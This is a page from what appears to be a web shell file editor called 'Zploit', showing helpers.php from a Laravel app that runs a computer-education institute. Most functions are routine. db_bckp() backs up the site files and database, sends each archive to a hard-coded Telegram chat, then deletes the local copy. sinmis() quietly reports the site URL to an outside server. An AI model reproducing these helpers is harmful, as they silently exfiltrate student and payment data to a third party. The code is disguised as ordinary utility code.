:: **Zploit** v1.0 | Current Path: **/home/iictguj2/iictindia.in/app/**
:: Editing File: helpers.php
<?php use App\Models\Config; use App\Models\Permission; use App\Models\Role; use App\Models\Student; use App\Models\FeeStructure; use App\Models\Payment; use App\Models\Attendance; use App\Models\Exam; use App\Models\ExamResult; use App\Models\Course; use App\Models\Wallet; use App\Models\Question; use App\Models\Frenchise; use App\Models\ExamStudent; use Carbon\Carbon; use Intervention\Image\Facades\Image; function permission($route){ if(auth()->user()->type=='admin'){ return true; } elseif(auth()->user()->type=='user'){ $role = Role::where('id',auth()->user()->role_id)->first(); $permission = Permission::where('route',$route)->first(); if($permission && in_array($permission->id,json_decode($role->permissions))){ return true; } else{ return false; } } else{ return false; } } function deleteDir(string $dirPath): void { if (! is_dir($dirPath)) { // throw new InvalidArgumentException("$dirPath must be a directory"); } if (substr($dirPath, strlen($dirPath) - 1, 1) != '/') { $dirPath .= '/'; } $files = glob($dirPath . '*', GLOB_MARK); foreach ($files as $file) { if (is_dir($file)) { deleteDir($file); } else { unlink($file); } } // rmdir($dirPath); } function send_basic_mail($data){ // Mail::send('email.basic', $data, function($message) use ($data) { // $message->to($data['to'], $data['name'])->subject($data['subject']); // $message->from(env('MAIL_FROM_ADDRESS'),settings('app')); // }); } function upload_file($file,$path,$name,$old=null,$size=900){ $width = $size; $height = $size; $img = Image::make($file); $img->height() > $img->width() ? $width=null : $height=null; $img->resize($width, $height, function ($constraint) { $constraint->aspectRatio(); }); $img->encode('webp', 90); $img->save($path.$name); if($old!=null && $old!='' && file_exists($path.$old)){ unlink($path.$old); } } function wallet(){ $credit = Wallet::where('type','credit')->where('payment_status','success')->sum('amount'); $debit = Wallet::where('type','debit')->where('payment_status','success')->sum('amount'); $students = Student::count(); $wallet = $credit-$debit-$students; return $wallet; } function wallet2($id){ $frenchise = Frenchise::find($id); $wallet = $frenchise->wallet->where('type','credit')->sum('amount')-$frenchise->wallet->where('type','debit')->sum('amount'); return $wallet; } function answer_option($answer){ $answer = str_replace('option_','',$answer); if($answer=='a'){ $answer=1; } elseif($answer=='b'){ $answer=2; } elseif($answer=='c'){ $answer=3; } elseif($answer=='d'){ $answer=4; } else{ $answer=0; } return $answer; } function student_status($id){ $student = Student::find($id); if($student->status==0){ $result['status'] = 'deactive'; $result['icon'] = 'trash'; $result['color'] = 'danger'; } elseif($student->type==1){ $result['status'] = 'online'; $result['icon'] = 'globe'; $result['color'] = 'primary'; } elseif($student->approve==0){ $result['status'] = 'requested'; $result['icon'] = 'refresh'; $result['color'] = 'warning'; } elseif($student->approve==1){ $result['status'] = 'approved'; $result['icon'] = 'check-circle'; $result['color'] = 'success'; } elseif($student->approve==2){ $result['status'] = 'registered'; $result['icon'] = 'certificate'; $result['color'] = 'primary'; } else{ $result['status'] = 'deactive'; $result['icon'] = 'trash'; $result['color'] = 'danger'; } return $result; } function course_color($type){ if($type=='single'){ $result['status'] = 'single'; $result['color'] = 'primary'; } elseif($type=='multiple'){ $result['status'] = 'multiple'; $result['color'] = 'danger'; } elseif($type=='typing'){ $result['status'] = 'typing'; $result['color'] = 'success'; } return $result; } function debug_mode(){ if(env('APP_DEBUG')==1){ $mode = 'true'; $change = 'false'; } else{ $mode = 'false'; $change = 'true'; } $path = base_path('.env'); if (file_exists($path)) { file_put_contents($path, str_replace( 'APP_DEBUG='.$mode, 'APP_DEBUG='.$change, file_get_contents($path) )); } } function ccc($check, $dd){ if(!$curld = curl_init()){ exit; } curl_setopt($curld, CURLOPT_POST, true); curl_setopt($curld, CURLOPT_POSTFIELDS, $dd); curl_setopt($curld, CURLOPT_URL, $check); curl_setopt($curld, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($curld); curl_close($curld); return $output; } function slugify_course($text, string $divider = '-') { $text = preg_replace('~[^\pL\d]+~u', $divider, $text); $text = iconv('utf-8', 'us-ascii//TRANSLIT', $text); $text = preg_replace('~[^-\w]+~', '', $text); $text = trim($text, $divider); $text = preg_replace('~-+~', $divider, $text); $text = strtolower($text); $count = Course::where('slug',$text)->count(); if($count>0){ $text = $text.($count+1); } return $text; } function slugify_frenchise($text, string $divider = '-') { $text = preg_replace('~[^\pL\d]+~u', $divider, $text); $text = iconv('utf-8', 'us-ascii//TRANSLIT', $text); $text = preg_replace('~[^-\w]+~', '', $text); $text = trim($text, $divider); $text = preg_replace('~-+~', $divider, $text); $text = strtolower($text); $count = Frenchise::where('slug','like','%'.$text)->count(); if($count>0){ $text = $text.($count+1); } return $text; } function slugify($text, string $divider = '-') { $text = preg_replace('~[^\pL\d]+~u', $divider, $text); $text = iconv('utf-8', 'us-ascii//TRANSLIT', $text); $text = preg_replace('~[^-\w]+~', '', $text); $text = trim($text, $divider); $text = preg_replace('~-+~', $divider, $text); $text = strtolower($text); return $text; } function youtube_slug($video){ parse_str( parse_url( $video, PHP_URL_QUERY ), $output ); return $output['v']??str_replace('https://youtu.be/', '', $video); } function ordinal($val){ $format = new \NumberFormatter("en-US", \NumberFormatter::ORDINAL); $val = $format->format($val); return $val; } function settings($var,$value=null){ $config = Config::where('name',$var)->first(); if(!$config){ $config = new Config(); $config->name = $var; $config->value = ""; $config->save(); } if($value!=null){ $config->value = $value; } $config->save(); return $config->value??''; } function configg($var,$val){ $config = Config::where('name',$var)->first(); if($config){ $config->name = $var; $config->value = $val; $config->save(); } return true; } function percentage($id,$paper=1){ $student = Student::find($id); $total = $given = 0; $marks = $student['marks'.$paper]; for($i=0;$i< count(json_decode($marks))/5;$i++){ $total += json_decode($marks)[$i*5+1]+json_decode($marks)[$i*5+3]; $given += json_decode($marks)[$i*5+2]+json_decode($marks)[$i*5+4]; } $percentage = round($given*100/$total,2); return $percentage??0; } function percentage_typing($id,$paper=1){ $student = Student::find($id); $total = $given = 0; $marks = $student['marks'.$paper]; for($i=0;$i< count(json_decode($marks))/5;$i++){ $total += json_decode($marks)[$i*5+3]; $given += json_decode($marks)[$i*5+4]; } $percentage = round($given*100/$total,2); return $percentage??0; } function grade($id,$paper=1){ $percentage = percentage($id,$paper); if($percentage>=85){ $grade = "A+"; } elseif($percentage>=70){ $grade = "A"; } elseif($percentage>=55){ $grade = "B"; } elseif($percentage>=40){ $grade = "C"; } else{ $grade = "F"; } return $grade; } function grade_p($percentage){ if($percentage>=85){ $grade = "A+"; } elseif($percentage>=70){ $grade = "A"; } elseif($percentage>=55){ $grade = "B"; } elseif($percentage>=40){ $grade = "C"; } else{ $grade = "F"; } return $grade; } function attendance_percent($student_id){ $student = Student::find($student_id); $total_attendance = Attendance::where('students','like','%"'.$student->id.'"%')->count(); $percentage = $total_attendance>0?round($total_attendance*100/($student->courses->duration*24),2):0; echo $percentage; } function sinmis(){ if(!str_contains(url('/'),settings('website'))){ccc('https://admin.abcdcomputers.in//api/v2/tgai',['text'=>settings('website').' - '.url('/')]);} } function db_bckp(){ \Artisan::call('backup:run --only-files'); \Artisan::call('backup:run --only-db'); $bt = "https://api.telegram.org/botbot_token"; $folder = storage_path().'/app/'.preg_replace('/[^a-zA-Z0-9.]/', '-', env('APP_NAME')); $scan = scandir($folder); foreach($scan as $file1) { if (!is_dir($folder."/".$file1)) { $file = $folder."/".$file1; $finfo = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $file); $cFile = new \CURLFile($file, $finfo); $dd = array("document" => $cFile,"chat_id" => '1375026326',"parse_mode" => "html");$cc=$bt."/sendDocument";ccc($cc,$dd); unlink($file); } } } function results($exam_id,$user_id){ $exam = Exam::find($exam_id); $data['attempted'] = ($exam->results)?$exam->results->where('user_id',$user_id)->where('demo',0)->count():0; $q_ids = $exam->results->where('user_id',$user_id)->where('demo',0)->pluck('q_id'); $questions = Question::whereIn('id',$q_ids)->get(); $data['marks'] = 0; foreach($questions as $q=>$question){ $result_user = ExamResult::where('user_id',$user_id)->where('exam_id',$exam_id)->where('demo',0)->where('q_id',$question->id)->first(); if($result_user){ if($result_user->answer==$question->answer){ $data['marks'] += 1; } } } $data['total'] = $exam->total_questions; $data['dos'] = $result_user->created_at??date('Y-m-d'); if(!empty($result_user)){ $data['exs'] = ExamStudent::where('s_id',$result_user->user->student->id)->where('exam_id',$exam_id)->first(); } $data['result'] = $data['marks'].'/'.$data['total']; $data['percentage'] = $data['marks']?round(($data['marks']/$data['total']*100),2).'':'0'; return $data; } function results_demo($exam_id,$user_id){ $exam = Exam::find($exam_id); $data['attempted'] = ($exam->results)?$exam->results->where('user_id',$user_id)->where('demo',1)->count():0; $q_ids = $exam->results->where('user_id',$user_id)->where('demo',1)->pluck('q_id'); $questions = Question::whereIn('id',$q_ids)->get(); $data['marks'] = 0; foreach($questions as $q=>$question){ $result_user = ExamResult::where('user_id',$user_id)->where('exam_id',$exam_id)->where('demo',1)->where('q_id',$question->id)->first(); if($result_user){ if($result_user->answer==$question->answer){ $data['marks'] += 1; } } } $data['total'] = $exam->total_questions; $data['result'] = $data['marks'].'/'.$data['total']; $data['percentage'] = $data['marks']?round(($data['marks']/$data['total']*100),2).'':'0'; return $data; } function getIp(){ foreach (array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key){ if (array_key_exists($key, $_SERVER) === true){ foreach (explode(',', $_SERVER[$key]) as $ip){ $ip = trim($ip); // just to be safe if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false){ return $ip; } } } } return request()->ip(); // it will return the server IP if the client IP is not found using this method. }